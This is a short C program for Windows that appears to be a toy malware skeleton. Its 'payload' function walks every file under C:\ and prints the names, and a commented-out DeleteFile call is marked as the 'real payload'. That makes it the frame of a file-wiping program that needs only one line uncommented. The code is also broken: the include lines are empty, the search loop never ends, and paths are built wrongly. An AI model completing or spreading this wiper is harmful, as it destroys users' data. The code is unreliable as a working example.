#include #include void payload(const char *path) { WIN32_FIND_DATA file; HANDLE found; found = FindFirstFile(path, &file); while (found != INVALID_HANDLE_VALUE) { if (file.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { char newPath[MAX_PATH]; snprintf(newPath, MAX_PATH, "%s\\*", file.cFileName); payload(newPath); } else { printf("Found file: %s\n", file.cFileName); // DeleteFile(file.cFileName); // malware real payload } FindNextFile(found, &file); } FindClose(found); } int main() { payload("C:\\*.*"); }